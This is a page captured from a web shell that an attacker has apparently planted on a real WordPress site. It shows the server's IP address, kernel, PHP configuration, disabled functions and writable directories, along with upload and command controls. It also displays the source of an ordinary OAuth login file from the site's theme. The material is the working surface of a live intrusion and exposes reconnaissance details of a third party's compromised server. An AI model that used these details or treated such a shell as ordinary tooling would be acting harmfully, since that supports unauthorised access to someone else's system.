403Webshell
Server IP : 116.153.78.57  /  Your IP : 43.159.78.123
Web Server : nginx/1.28.0
System : Linux 1763701629066 6.8.0-53-generic #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 x86_64
User : www ( 1001)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.lengcat.cn/wp-content/themes/onenav/inc/auth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.lengcat.cn/wp-content/themes/onenav/inc/auth/prk.php
<?php
/*
 * @Author: iowen
 * @Author URI: https://www.iowen.cn/
 * @Date: 2022-06-19 16:23:07
 * @LastEditors: iowen
 * @LastEditTime: 2022-06-19 17:31:10
 * @FilePath: \onenav\inc\auth\prk.php
 * @Description: 
 */
include_once('../../../../../wp-config.php'); 

if(!session_id()) session_start();

$type 				= isset($_GET['type'])?$_GET['type']:'qq';
$pyk 				= io_get_option('open_prk_key');
$_SESSION['state']  = md5 ( uniqid ( rand (), true ) ); //CSRF protection
$_SESSION['rurl']   = $_REQUEST ["loginurl"];
$pyk_config 		= array(
	'apiurl' 	=> $pyk['apiurl'],
	'appid' 	=> $pyk['appid'],
	'appkey' 	=> $pyk['appkey'],
	'state' 	=> $_SESSION ['state'],
	'callback' 	=> get_theme_file_uri('/inc/auth/prk-callback.php'),
);


$Oauth	= new ioLoginPrk($pyk_config);
$arr 	= $Oauth->login($type);
if(isset($arr['code']) && $arr['code']==0){
	exit("<script language='javascript'>window.location.href='{$arr['url']}';</script>");
}elseif(isset($arr['code'])){
	exit('登录接口返回:'.$arr['msg']);
}else{
	exit('获取登录地址失败');
}

Youez - 2016 - github.com/yon3zu
LinuXploit